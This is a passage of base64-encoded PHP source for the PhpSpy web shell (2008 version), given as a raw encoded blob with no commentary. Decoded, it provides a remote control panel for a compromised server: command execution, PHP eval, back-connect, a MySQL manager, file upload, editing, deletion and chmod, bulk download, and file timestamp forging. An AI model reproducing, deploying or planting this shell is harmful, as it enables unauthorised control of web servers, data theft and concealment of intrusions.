gkcmVzdWx0KTsNCgkJCWlmICghJHJvdykgew0KCQkJCSRlcnJtc2cgPSAnTG9hZCBmaWxlIGZhaWxlZCAnLm15c3FsX2Vycm9yKCk7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsNCgkJCQllY2hvICRyb3dbMF07DQoJCQkJZXhpdDsNCgkJCX0NCgkJfQ0KCX0NCn0NCg0KPz4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1nYmsiPg0KPHRpdGxlPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdQLmgucC5TLnAueScpOz8+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5LHRke2ZvbnQ6IDEycHggQXJpYWwsVGFob21hO2xpbmUtaGVpZ2h0OiAxNnB4O30NCi5pbnB1dHtmb250OjEycHggQXJpYWwsVGFob21hO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O2hlaWdodDoyMnB4O30NCi5hcmVhe2ZvbnQ6MTJweCAnQ291cmllciBOZXcnLCBNb25vc3BhY2U7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7fQ0KLmJ0IHtib3JkZXItY29sb3I6I2IwYjBiMDtiYWNrZ3JvdW5kOiMzZDNkM2Q7Y29sb3I6I2ZmZmZmZjtmb250OjEycHggQXJpYWwsVGFob21hO2hlaWdodDoyMnB4O30NCmEge2NvbG9yOiAjMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjFmMWYxO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2ZmZmZhYTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2U5ZTllOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9DQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9DQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30NCnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30NCnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30NCjwvc3R5bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7DQoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsNCgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOw0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KICAgIH0NCn0NCmZ1bmN0aW9uICQoaWQpIHsNCglyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOw0KfQ0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsNCgkkKCdnb2FjdGlvbicpLmFjdGlvbi52YWx1ZT1hY3Q7DQoJJCgnZ29hY3Rpb24nKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgc3R5bGU9Im1hcmdpbjowO3RhYmxlLWxheW91dDpmaXhlZDsgd29yZC1icmVhazpicmVhay1hbGwiPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJPHRyIGNsYXNzPSJoZWFkIj4NCgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLlMucC55Jyk7Pz4gVmVyOiAyMDA4PC9hPjwvc3Bhbj48P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPg0KCTwvdHI+DQoJPHRyIGNsYXNzPSJhbHQxIj4NCgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPlNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPkxvZ291dDwvYT4gfCANCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfCANCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGFkbWluJyk7Ij5NeVNRTCBNYW5hZ2VyPC9hPiB8IA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8IA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfCANCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3BocGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8IA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4NCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/Pg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxNSIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+DQo8P3BocA0KDQpmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidnb2FjdGlvbicpKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQoNCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsNCg0KLy8gu/HIobWxx7DCt762DQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQoJJGRpciA9ICRkaXIuJy8nOw0KfQ0KJHVlZGlyID0gdWUoJGRpcik7DQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoJLy8gxSYjMjg2O7bPtsEmIzI4Nju0x+m/9g0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vIMm+syYjMzA1O8S/wrwNCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgZGVsZXRlICcuKGRlbHRyZWUoJHRoZWZpbGUpID8gYmFzZW5hbWUoJHRoZWZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gtLS9qMS/wrwNCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7DQoJCQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQkJQGNobW9kKCRta2RpcnMsMDc3Nyk7DQoJCX0NCgl9DQoNCgkvLyDJz7SrzsS8JiMzNTE7DQoJZWxzZWlmICgkZG91cGZpbGUpIHsNCgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJfQ0KDQoJLy8gseC8rc7EvCYjMzUxOw0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gseC8rc7EvCYjMzUxO8r0JiMyODY71A0KCWVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyC4xMP7DQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsNCgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOw0KCQlpZiAoZmlsZV9leGlzdHMoJG5uYW1lKSB8fCAhZmlsZV9leGlzdHMoJG9sZG5hbWUpKSB7DQoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkb2xkbmFtZSkuJyByZW5hbWVkICcuYmFzZW5hbWUoJG5uYW1lKS4oQHJlbmFtZSgkb2xkbmFtZSwkbm5hbWUpID8gJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyC4tNbGzsS8JiMzNTE7DQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gv8vCocqxvOQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vINfUtqjS5cqxvOQNCgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gtPKw/M/C1NgNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOw0KCQkJfQ0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsNCgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsNCgkJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkJJGNvZGU9JHppcC0+b3V0Ow0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KCQkJaGVhZGVyKCdBY2NlcHQtUmFuZ2VzOiBieXRlcycpOw0KCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOw0KCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7DQoJCQllY2hvICRjb2RlOw0KCQkJZXhpdDsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8gxfrBv8m+syYjMzA1O87EvCYjMzUxOw0KCWVsc2VpZigkZG9pbmcgPT0gJ2RlbGZpbGVzJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJJHN1Y2MgPSAkZmFpbCA9IDA7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsNCgkJCQkJJHN1Y2MrKzsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbCsrOw0KCQkJCX0NCgkJCX0NCgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVko6xjaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy+y2df3zeqxzw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsNCgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOw0KCW1ha2VoaWRlKCduZXdwZXJtJyk7DQoJbWFrZWhpZGUoJ3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7DQoJbWFrZWhpZGUoJ3NuYW1lJyk7DQoJbWFrZWhpZGUoJ3RvZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsNCgltYWtlaGlkZSgnb2xkbmFtZScpOw0KCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicpOw0KCW1ha2VoaWRlKCdvcGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJyk7DQoJZm9ybWZvb3QoKTsNCg0KCSRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkbm93cGF0aCk7DQoJISRmcmVlICYmICRmcmVlID0gMDsNCgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOw0KCSEkYWxsICYmICRhbGwgPSAwOw0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7DQoJcCgnPGgyPkZpbGUgTWFuYWdlciAtIEN1cnJlbnQgZGlzayBmcmVlICcuc2l6ZWNvdW50KCRmcmVlKS4nIG9mICcuc2l6ZWNvdW50KCRhbGwpLicgKCcuJHVzZWRfcGVyY2VudC4nJSk8L2gyPicpOw0KDQo/Pg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4NCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQogIDx0cj4NCiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPg0KCTx0ZCB3aWR0aD0iMTAwJSI+PGlucHV0IG5hbWU9InZpZXdfd3JpdGFibGUiIHZhbHVlPSIwIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0iZGlyIiB2YWx1ZT0iPD9waHAgZWNobyAkbm93cGF0aDs/PiIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjAgOHB4OyI+PC90ZD4NCiAgICA8dGQgbm93cmFwPjxpbnB1dCBjbGFzcz0iYnQiIHZhbHVlPSJHTyIgdHlwZT0ic3VibWl0Ij48L3RkPg0KICA8L3RyPg0KICA8L2Zvcm0+DQo8L3RhYmxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gY3JlYXRlZGlyKCl7DQoJdmFyIG5ld2Rpcm5hbWU7DQoJbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7DQoJaWYgKCFuZXdkaXJuYW1lKSByZXR1cm47DQoJJCgnY3JlYXRlZGlyJykubmV3ZGlybmFtZS52YWx1ZT1uZXdkaXJuYW1lOw0KCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZmlsZXBlcm0ocGZpbGUpew0KCXZhciBuZXdwZXJtOw0KCW5ld3Blcm0gPSBwcm9tcHQoJ0N1cnJlbnQgZmlsZTonK3BmaWxlKydcblBsZWFzZSBpbnB1dCBuZXcgYXR0cmlidXRlOicsICcnKTsNCglpZiAoIW5ld3Blcm0pIHJldHVybjsNCgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsNCgkkKCdmaWxlcGVybScpLnBmaWxlLnZhbHVlPXBmaWxlOw0KCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjb3B5ZmlsZShzbmFtZSl7DQoJdmFyIHRvZmlsZTsNCgl0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7DQoJaWYgKCF0b2ZpbGUpIHJldHVybjsNCgkkKCdjb3B5ZmlsZScpLnRvZmlsZS52YWx1ZT10b2ZpbGU7DQoJJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsNCgkkKCdjb3B5ZmlsZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpew0KCXZhciBuZXdmaWxlbmFtZTsNCgluZXdmaWxlbmFtZSA9IHByb21wdCgnRm9ybWVyIGZpbGUgbmFtZTonK29sZG5hbWUrJ1xuUGxlYXNlIGlucHV0IG5ldyBmaWxlbmFtZTonLCAnJyk7DQoJaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOw0KCSQoJ3JlbmFtZScpLm5ld2ZpbGVuYW1lLnZhbHVlPW5ld2ZpbGVuYW1lOw0KCSQoJ3JlbmFtZScpLm9sZG5hbWUudmFsdWU9b2xkbmFtZTsNCgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGRvZmlsZShkb2luZyx0aGVmaWxlLG0pew0KCWlmIChtICYmICFjb25maXJtKG0pKSB7DQoJCXJldHVybjsNCgl9DQoJJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsNCglpZiAodGhlZmlsZSl7DQoJCSQoJ2ZpbGVsaXN0JykudGhlZmlsZS52YWx1ZT10aGVmaWxlOw0KCX0NCgkkKCdmaWxlbGlzdCcpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsNCgl2YXIgZmlsZW5hbWU7DQoJZmlsZW5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZmlsZSBuYW1lOicsICcnKTsNCglpZiAoIWZpbGVuYW1lKSByZXR1cm47DQoJb3BmaWxlKCdlZGl0ZmlsZScsbm93cGF0aCArIGZpbGVuYW1lLG5vd3BhdGgpOw0KfQ0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsNCgkkKCdmaWxlb3Bmb3JtJykuYWN0aW9uLnZhbHVlPWFjdGlvbjsNCgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsNCgkkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsNCgkkKCdmaWxlb3Bmb3JtJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7DQoJaWYgKHZpZXdfd3JpdGFibGUpIHsNCgkJJCgnZ29kaXInKS52aWV3X3dyaXRhYmxlLnZhbHVlPTE7DQoJfQ0KCSQoJ2dvZGlyJykuZGlyLnZhbHVlPWRpcjsNCgkkKCdnb2RpcicpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQogIDw/cGhwDQoJdGJoZWFkKCk7DQoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PHRyIGNsYXNzPSJhbHQxIj48dGQgY29sc3Bhbj0iNyIgc3R5bGU9InBhZGRpbmc6NXB4OyI+Jyk7DQoJcCgnPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB2YWx1ZT0iIiB0eXBlPSJmaWxlIiAvPiA8aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsNCgl9IGVsc2Ugew0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7DQoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgew0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgew0KCQkJCWlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPS